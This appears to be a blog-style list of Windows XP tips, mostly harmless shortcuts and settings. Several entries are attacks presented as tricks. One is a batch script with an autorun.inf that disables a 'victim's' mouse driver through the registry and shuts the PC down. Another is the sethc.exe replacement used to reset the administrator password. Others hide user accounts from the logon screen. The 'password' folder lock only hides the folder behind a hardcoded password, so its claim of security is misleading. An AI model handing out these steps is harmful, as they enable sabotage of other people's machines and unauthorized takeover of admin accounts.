Forgot ur own MOBILE NO??


Airtel : *140*1600#
Reliance GSM Mobile Number : *#1#
Idea: *789#
Aircel: *888#
videocon: *1#
Virgin: *1#
Docomo: *1#
vodafone: *555*0#
Bsnl: 24365

Disable Victim's Mouse


Step1: Copy the Batch code into notepad.
Save it as name.bat extension (for eg: DILSON.bat)
NOTE: remove "; " at the end of each code n den save
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass";
reg delete %key%;
reg add %key% /v Start /t REG_DWORD /d 4;
shutdown.exe -s -t 00
Step2: Now open the notepad and copy this code.
Save it as "autorun.inf"
[autorun]
Open=DILSON.bat
Action=Mouse Disable
Step 3: Then copy the two files in your pen drive or victim's pen drive.
*How to recover from this attack?
Copy this code into the notepad.
and save it with name.bat extension(for eg: DILSONAntiVirus.bat).
Now final step is to double click this batch file.
NOTE: remove "; " at the end of each code n den save
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass";
reg delete %key%;
reg add %key% /v  Start /t REG_DWORD /d 1;

Lock ur CD-ROM:


Go to
> run
> type regedit
> find(ctrl+F)
> then type 'allocatecdrom'
> change the value 1 to 0
> to normal then type 0 to 1

Want to clear BIOS Password Key


> Open CPU
> move Jumper to 2-3 pstn from 1-2
> start PC
> go to BIOS
> clear it
> turn off
> move Jumper to 1-2 & done

Make ur own font in xp:


Private character editor used for editing fonts,etc.
> start
> run
> type "eudcedit"

Problem in formating pen drive


> rt click on computer
> manage
> disk mgt
> rt click on pen drive
> remove letter
> remove(Plug out&plug)
> Format

UNINSTALL THE PROGRAMS WITHOUT USING "add and remove programs


just follow the procedure...
> open run command .
> type "regedit" without quotes.
> go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
> click on any one of them and check "display name".
display name tells the  installed program .
> delete the folder of the program which you want to
uninstall .

Add Your Own Info & Photo In My Computer Properties


Follow these steps:
> Open Notepad & paste following:
[General]
Manufacturer=”DILSON corporation”
Model=Intel Core 2 Duo
[Support Information]
Line1= +919024928833
Line2= dilson1247@gmail.com
Line3= http://doyouknow1247.blogspot.com
Now Save it as "oeminfo.ini" (without quotes) in
C:\Windows\System32
Create a bmp file of your photo and save it in
C:\Windows\System32 as oemlogo.bmp (without quotes).
Now check My Computer properties.

Create Your Virtual Drive(With cmd)


Make any folder in C drive say DILSON
> Go to start
> run
> Type cmd
> subst k: c:\DILSON
Check your my computer, new drive should be shown.
For removing, type
> subst k: /d
Basically virtual drive k assign a path to the
folder DILSON

Hack Windows Admin Password by pressing shift key 5 times...!!!


However this is very known method of hacking windows
admin password,but still many will be unaware from this
way. So I'm posting here. Follow these simple steps:
1) Go to C:/windows/system32
2) Copy cmd.exe and paste it on desktop.
3) Rename cmd.exe to sethc.exe
4) Copy the new sethc.exe to system32 folder, windows
will ask for overwriting the file,
then click yes.
Now press Shift key 5 times you will get cmd prompt.
Now Log Off and at the login screen,press Shift key
5 times. You will get cmd prompt there.
Now type “net user administrator password” without
quotes where “password”can be any password of your
desire.
Now enter password in administrator account. That's all.

Change My Documents Location In XP


Follow these steps:
* Go to property of My documents.
* Change Target folder location.

Operate Computer Without Mouse


Follow these steps:
1. Press left Shift+ left Alt + Num Lock
2. MouseKeys window will appear. Click OK or Settings
for further configuration.
3. Now you can operate your cursor position using
number keys(use the NUMPAD).

Hide 'User Accounts' from users


> Start/Run, and type:
> GPEDIT.MSC
> User Config > Admin Templates > Control Panel
> doubleclick "Hide specified Control Panel applets"
> 'enabled'> then click 'Show"
> click Add button,
> type "nusrmgt.cpl" into the add box

Boot Defragment in XP


A very important new feature in Microsoft Windows XP
is the ability to do a boot defragment. This basically
means that all boot files are placed next to each other
on the disk drive to allow for faster booting. By
default this option is enabled but some upgrade users
have reported that it isn't on their setup.
1. Start Regedit.
2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction
3. Select Enable from the list on the right.
4. Right on it and select Modify.
5. Change the value to Y to enable and N to disable.
6. Reboot your computer.

Disable Log Off From Start Menu


Follow these steps:
Go to start
> run
> regedit
> Go to the path
HKey_Current_User\Software\Microsoft \Windows\Current Version\Policies\Explorer
> Add a new DWORD value on right side by right click on
right panel, name it StartMenuLogoff
> Give it a value 1.
> Log off or restart your computer.
So how to find it, Open notepad , Type regedit and save
it as log.bat. Go to the same path, change the value to
0 or delete it.
(don't type any quotes).

Create Hidden Account In XP


Login with administration account.
Go to start
> run
> Type regedit
Go to the path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts
\UserList
Create a new DWORD value in right panel with the name
of your user account and give it value 0.
Restart your computer and you will see your user
account disable from welcome screen and user accounts.
For enable, change the value of DWORD from 0 to 1.

Disable XP Start Screen


Go to start
> run
> Type msconfig
> Go to BOOT.INI Tab.
> Check /NOGUIBOOT
Apply then OK. Restart your system.

From When Your Computer Is Running


So let's know from when your computer is running?
Go to start
> run
> cmd and type
> net statistics workstation
It will show statistics since date & time.
Here's one more other way by using this command
systeminfo.

Command Prompt As Calculator


So you can use your command prompt as calculator too:
C:\>set /a 1+1
C:\>set /a 1-1
C:\>set /a 4*3
C:\>set /a 4%3
C:\>set /a 4/3

Apply Password To Your Guest Account


Applying a password to your guest account looks
somewhat annoying, but you can easily apply it using
cmd . Just follow these steps:
Go to start
> run
> cmd
> Type "net user guest DILSON" without quotes
where DILSON is your password which you will
apply to guest. But for this you must be Log In with
using administration account.
Go to user accounts, you will see password apply to
your guest account.

Save Images From MS Word (.doc)


When you open any document in MS word, try to click on
picture for saving then it does not provide option for
saving it. so here's a way simply to save picture from
any .doc file. Follow these simple steps:
1. Save .doc documents as web page means as .htm
2. Open it with browser.
3. Save picture in the way as you do from any html file either by drag and drop or right click then save
image as.

Folder lock with password but without using any software…!!!


Lock Any Folder In Windows OS Using Only Notepad
Open notepad from your windows start button.
Copy and paste this under given code in your notepad and save it as "Dilsonlocker.bat"
cls
@ECHO OFF
title DILSON Folder Lock
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST DILSON goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)….?
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren DILSON "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==DILSON goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" DILSON
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md DILSON
echo DILSON Lock created successfully
goto End
:End
Now Double Click that new Batch file named "Dilsonlocker.bat" and it will make a new folder
named DILSON at the same location :
Now put the Data Inside the folder "DILSON" and again Double Click the Batch file to
Lock it, this will ask "Are you sure you want to lock the folder, just Type y and press Enter. Now the
folder and your file gets locked.
Now keep the Batch File named "DilsonLocker.bat" at a different place like your USB Pen
Drive so that only you can unlock and access the folder you have locked.
To Unlock the Folder and your file, just double click the Batch file "DilsonLocker" again and it will
say "Enter password to unlock folder",the default password is set as "DILSON", so just type this and keep enjoying…..!!!!

Make Invisible Account (XP)


1. Go to Control Panel and create a NEW ACCOUNT say DILSON(or u can use Your name) inside User Accounts
2. Go to START->RUN–type in regedit
3.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon\SpecialAccounts
\UserList
4. Here create a new DWORD by right clicking and name it as you did your new account
(DILSON). If you want to hide an existing one, just type in its name.
5. The value of the DWORD has to be zero if you want it to be hidden. If you want it to show,
just change the value to 1.
6. Now log off and see that your account is not in the logon screen.
7. To logon to your hidden account press CTRL+ALT+Delete twice. Here type in your
NEW_ CCOUNT and that’s it

Private Character Editor & font editor


This program is for designing icons and Characters(Alphapet) and also fonts...
start -> run -> EUDCEDIT

Lock ur Desktop


>Press the Windows key & L key (WinKey+L)
or
>create a new shortcut rundll32.exe user32.dll,LockWorkStation

Easy Way 2 Open Control Panel


-  Go 2 Run
-  Type: Control
-  Press Enter

WINDOWS HIDDEN TOOLS Type all Keywords in RUN:


1. Charmap.exe
2. Syskey.exe
3. Gpedit.exe
4. Sndvol32.exe
5. Eudcedit.exe

Open Programs Automatic on Boot Up


>Right click START button click open
>Double-click on Programs & then on Startup
> Drag ur fav in that window
> And now restart ur pc and see this effect…
Keep enjoying with this tricks….!!!

fed up of confirmation dialog on delete? U can supress confirmation dialog


> right click on recycle bin -> properties
> uncheck "display confirmation"

All new windows shortcuts, Go 2 any folder


ctrl+w - quit
ctrl+e (or) ctrl+f - search
ctrl+h - history
ctrl+b - Organize favorites

In windows u can’t create a folder with these names:


CON => corresponds to the console,
PRN,
AUX,
NUL,
LPT1 => corresponds to printer,
LPT2,
LPT3,..., LPT9
COM1,
COM2,
COM3,..., COM9
U cannot create since these are reserved by window based operating system.
If you want to create this folder then firstly create new folder and click on rename and then press Alt+255 and then type any words or name like con….. have a fun dears… 

Turn Off all system beps:


-go 2 start>Run>Regedit
-Go 2 HKEY_CURRENT_USER\Control Panel\Sound
-Edit the key Beep and give it a value NO or 0.

Did u know the use of each Special function keys?


F1- Help
F2- Rename
F3- Search
F4- Address Bar
F5- Refresh
F6 or F7- Spelling
F8- Safe Mode
F10- Menu Bar
F11- Resize
F12- Save

Fast system properties:


Press alt+click on my computer icon (or)
press ctrl+break.